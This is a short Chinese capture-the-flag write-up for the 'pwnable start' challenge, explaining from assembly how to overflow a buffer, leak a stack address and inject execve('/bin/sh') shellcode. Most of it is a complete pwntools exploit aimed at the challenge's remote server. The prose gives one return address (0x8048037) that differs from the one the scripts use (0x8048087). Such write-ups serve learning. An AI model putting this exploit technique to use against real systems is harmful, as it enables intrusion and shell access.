pwnable_start(只能看汇编)

  1. 这题主要记录一下怎么看汇编

    1

  2. 这题的思路就是在栈上写入shellcode,所以我们就要去找栈的地址。

    这里就需要要一个payload

    1
    payload = b'a'* 0x14 + p32(0x8048037)

    0x8048037就是write的返回地址,send这个payload后esp的内容就是栈上0x8048037的内容,将stack上的内容泄露出来。还就就是为什么是0x14不用加0x04,我们可以看到在retn前没有leave,所以不用+0x04。

  3. 用下面这一脚本可泄露stack的地址

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    context.log_level="debug"
    #p = process('./start')
    p=remote('node3.buuoj.cn',26163)
    payload = 'A'*0x14 + p32(0x8048087)
    p.sendafter("Let's start the CTF:",payload)
    p.interactive()

    stack的地址再加上0x14就回到我们原来的位置了,在接入shellcode就可以了。

    完整exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    from pwn import *

    e=ELF('./start')

    context.arch=e.arch
    context.terminal=['tmux','splitw','-h']

    #r=process('./start')
    r=remote("node5.buuoj.cn",29188)

    shellcode=asm("\
    xor edx,edx;\
    xor ecx,ecx;\
    push 0x0068732f;\
    push 0x6e69622f;\
    mov ebx,esp;\
    mov eax,0xb;\
    int 0x80;\
    ")

    r.recvuntil("Let's start the CTF:")
    pay1=0x14*b'a'+p32(0x8048087)
    r.send(pay1)
    stack_addr=u32(r.recv(4))
    print('stack->',hex(stack_addr))

    r.recv()
    pay2=b'b'*20+p32(stack_addr+20)+shellcode
    r.sendline(pay2)


    r.interactive()